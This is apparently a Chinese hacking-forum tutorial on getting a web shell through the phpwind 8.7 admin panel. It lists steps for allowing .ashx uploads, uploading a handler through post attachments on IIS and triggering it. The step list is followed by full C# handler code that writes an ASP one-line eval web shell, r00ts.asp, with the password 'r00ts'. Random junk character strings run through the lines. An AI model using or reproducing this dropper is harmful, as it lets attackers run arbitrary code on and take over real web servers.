phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
4 X, c6 P( {7 r" U; C/ T9 M
+ ~+ e6 j6 z& a- L. x群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

8 d! b, L: z4 A0 _2 Z9 B: \: m发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
4 D  s2 _8 Y/ t7 M6 m! y/ W
! s6 X2 r0 @" ^% m1 g5 C' t0 n打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
$ [, J. x7 H* M0 H2 N( `
下面是代码:

' k* y# J7 \! U8 T0 W: ?<%@ WebHandler Language="C#"Class="Handler" %>
! ]1 N$ E/ p; ]; C% ?5 J& u* Fusing System;
using System.Web;
$ m+ w3 K) w" O% S, Xusing System.IO;
+ @( F  b  N9 U+ D9 kpublic class Handler : IHttpHandler {
7 R- F+ d' N- ?; `$ q' @  N' ipublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
1 m* K4 b' g/ W7 o( rStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
: |" f8 p! n: D3 ffile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
! W) l4 w1 L6 sfile1.Close();
4 {% P1 m! w/ y  U2 _$ R}
4 s& B" O- T! C  Y- B5 opublic bool IsReusable {
8 }  S, Y% a& u# M3 T- }get {
return false;
}
}
}